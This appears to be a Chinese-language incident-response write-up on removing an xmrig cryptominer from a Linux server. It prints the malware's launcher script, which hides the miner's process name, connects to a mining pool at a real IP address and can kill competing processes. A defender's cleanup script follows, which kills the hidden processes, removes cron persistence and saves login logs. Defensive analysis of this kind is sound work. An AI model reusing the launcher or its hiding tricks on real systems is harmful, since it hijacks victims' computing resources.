#下面的命令可以查看PID为1320的进程是由哪个文件启动的。
ls -l /proc/1320/exe
lrwxrwxrwx 1 root root 0 Jan 25 09:40 /proc/1320/exe -> /mnt/.bash/.bash/bash (deleted) #这里的deleted表示启动的文件被删除了

[root@host2 ~]# ls
a  bash  bash3  bash.pid  c  cron.d  dir.dir  h32  h64  run  stak  stak3  upd  x  z

#!/bin/bash
#下面的循环会删除服务器上所有cpu高于40%的服务，为自己的挖矿程序提供更多的cpu使用。
#ps aux | grep -vw xmr-stak | awk '{if($3>40.0) print $2}' | while read procid
#do
#kill -9 $procid
#done
proc=`nproc`
ARCH=`uname -m`
HIDE="xmrig"
#根据不同的架构启动不同挖矿程序
if [ "$ARCH" == "i686" ];       then
        ./h32 -s $HIDE ./stak3/ld-linux.so.2 --library-path stak3 stak3/xmrig -o 188.166.218.65:54 -a cn/r -k >>/dev/null &
elif [ "$ARCH" == "x86_64" ];   then
        ./h64 -s $HIDE ./stak/ld-linux-x86-64.so.2 --library-path stak stak/xmrig -o 188.166.218.65:54 -k >>/dev/null &
fi
echo $! > bash.pid

#!/bin/bash

DIR_PATH="/mnt/.cache"
FILE_PATH="/mnt/.cache/upd"

CRON_FILE="/var/spool/cron/root"

#判断是不是ubuntu
is_ubuntu=$(cat /proc/version | grep ubuntu | wc -l)

if [[ is_ubuntu == 1 ]];then
        CRON_FILE="/var/spool/cron/crontabs/root"
fi

#杀进程
pid_num=$(ls -l /proc/*/exe 2>&1 | grep mnt/.bash | awk '{print $9}' | cut -f3 -d"/")
if [ ! -z "$pid_num" ];then
    echo -e "\033[31m正在kill隐藏进程,启动目录为/mnt/.bash\033[0m"
    kill -9 $pid_num
fi
pid_num2=$(ls -l /proc/*/exe 2>&1 | grep mnt/.cache | awk '{print $9}' | cut -f3 -d"/")
if [ ! -z "$pid_num2" ];then
    echo -e "\033[31m正在kill隐藏进程,启动目录为/mnt/.cache\033[0m"
    kill -9 $pid_num2
fi
pid_num3=$(ls -l /proc/*/exe 2>&1 | grep tmp/.bash | awk '{print $9}' | cut -f3 -d"/")
if [ ! -z "$pid_num3" ];then
    echo -e "\033[31m正在kill隐藏进程,启动目录为/tmp/.bash\033[0m"
    kill -9 $pid_num3
fi
pid_num4=$(netstat -antlp | grep 206.81.29.251 | awk '{print $7}' | cut -f1 -d"/")
if [ ! -z "$pid_num4" ];then
    echo -e "\033[31m正在kill隐藏进程,netstat 为206.81.29.251\033[0m"
    kill -9 $pid_num4
fi


if [ -d "$DIR_PATH" ]; then
    if [ -x "$FILE_PATH" ]; then
        echo -e "\033[31m该服务器已中挖矿病毒，开始清除 \033[0m"
        #清空 crontab中的恶意启动项

        sed -i '/.cache\/upd/d' $CRON_FILE
        #删除所有的文件
        rm -rf /mnt/.cache/

        cron_num=$(crontab -l | grep /mnt/.cache | wc  -l)
        if [[ $cron_num == 0 ]];then
                echo -e "\033[31mcrontab删除成功 \033[0m"
        fi

        if [ ! -x "$FILE_PATH" ]; then
            echo -e "\033[31m挖矿文件删除文件 \033[0m"
        fi
        echo -e "\033[33m请尽快修改服务器root用户密码为复杂密码!!!!!不要使用admin123类似弱口令:\033[0m"
    fi
fi

DIR2_PATH="/mnt/.bash"
FILE2_PATH="/mnt/.bash/upd"

if [ -d "$DIR2_PATH" ]; then
    if [ -x "$FILE2_PATH" ]; then
        echo -e "\033[31m该服务器已中挖矿病毒，开始清除 \033[0m"
        #清空 crontab中的恶意启动项
        sed -i '/.bash\/upd/d' $CRON_FILE
        #删除所有的文件
        rm -rf /mnt/.bash/

        cron_num=$(crontab -l | grep /mnt/.bash | wc  -l)
        if [[ $cron_num == 0 ]];then
                echo -e "\033[31mcrontab删除成功 \033[0m"
        fi

        if [ ! -x "$FILE2_PATH" ]; then
            echo -e "\033[31m挖矿文件删除文件 \033[0m"
        fi
        echo -e "\033[33m请尽快修改服务器root用户密码为复杂密码!!!!!不要使用admin123类似弱口令:\033[0m"
    fi
fi

DIR3_PATH="/tmp/.bash"
FILE3_PATH="/tmp/.bash/bash"
if [ -d "$DIR3_PATH" ]; then
    if [ -x "$FILE3_PATH" ]; then
        echo -e "\033[31m该服务器已中挖矿病毒，开始清除 \033[0m"
        #清空 crontab中的恶意启动项
        sed -i '/tmp\/.bash\/bash/d' $CRON_FILE
        #删除所有的文件
        rm -rf /tmp/.bash/

        cron_num=$(crontab -l | grep /tmp/.bash | wc  -l)
        if [[ $cron_num == 0 ]];then
                echo -e "\033[31mcrontab删除成功 \033[0m"
        fi

        if [ ! -x "$FILE2_PATH" ]; then
            echo -e "\033[31m挖矿文件删除文件 \033[0m"
        fi
        echo -e "\033[33m请尽快修改服务器root用户密码为复杂密码!!!!!不要使用admin123类似弱口令:\033[0m"
    fi
fi

lastb > /home/lastb.log
last > /home/last.log
cat /var/log/secure > /home/secure.log